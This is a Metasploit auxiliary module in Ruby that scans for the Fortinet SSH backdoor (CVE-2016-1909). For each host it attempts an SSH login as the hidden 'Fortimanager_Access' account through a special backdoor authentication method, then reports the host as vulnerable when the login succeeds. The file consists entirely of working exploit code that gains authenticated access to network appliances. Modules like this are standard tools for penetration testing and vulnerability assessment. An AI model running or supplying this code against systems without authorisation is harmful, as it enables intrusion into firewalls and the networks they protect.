##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class Metasploit4 < Msf::Auxiliary

  include Msf::Exploit::Remote::Fortinet
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Fortinet SSH Backdoor Scanner',
      'Description'    => %q{
        This module scans for the Fortinet SSH backdoor.
      },
      'Author'         => [
        'operator8203 <operator8203[at]runbox.com>', # PoC
        'wvu'                                        # Module
      ],
      'References'     => [
        ['CVE', '2016-1909'],
        ['EDB', '39224'],
        ['PACKETSTORM', '135225'],
        ['URL', 'http://seclists.org/fulldisclosure/2016/Jan/26'],
        ['URL', 'https://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios']
      ],
      'DisclosureDate' => 'Jan 09 2016',
      'License'        => MSF_LICENSE
    ))

    register_options([
      Opt::RPORT(22)
    ])

    register_advanced_options([
      OptBool.new('SSH_DEBUG',  [false, 'SSH debugging', false]),
      OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
    ])
  end

  def run_host(ip)
    ssh_opts = {
      port:         datastore['RPORT'],
      auth_methods: ['fortinet-backdoor']
    }

    ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    begin
      ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
        Net::SSH.start(
          ip,
          'Fortimanager_Access',
          ssh_opts
        )
      end
    rescue Net::SSH::Exception => e
      vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
      return
    end

    if ssh
      print_good("#{ip}:#{rport} - Logged in as Fortimanager_Access")
      report_vuln(
        :host => ip,
        :name => self.name,
        :refs => self.references,
        :info => ssh.transport.server_version.version
      )
    end
  end

  def rport
    datastore['RPORT']
  end

end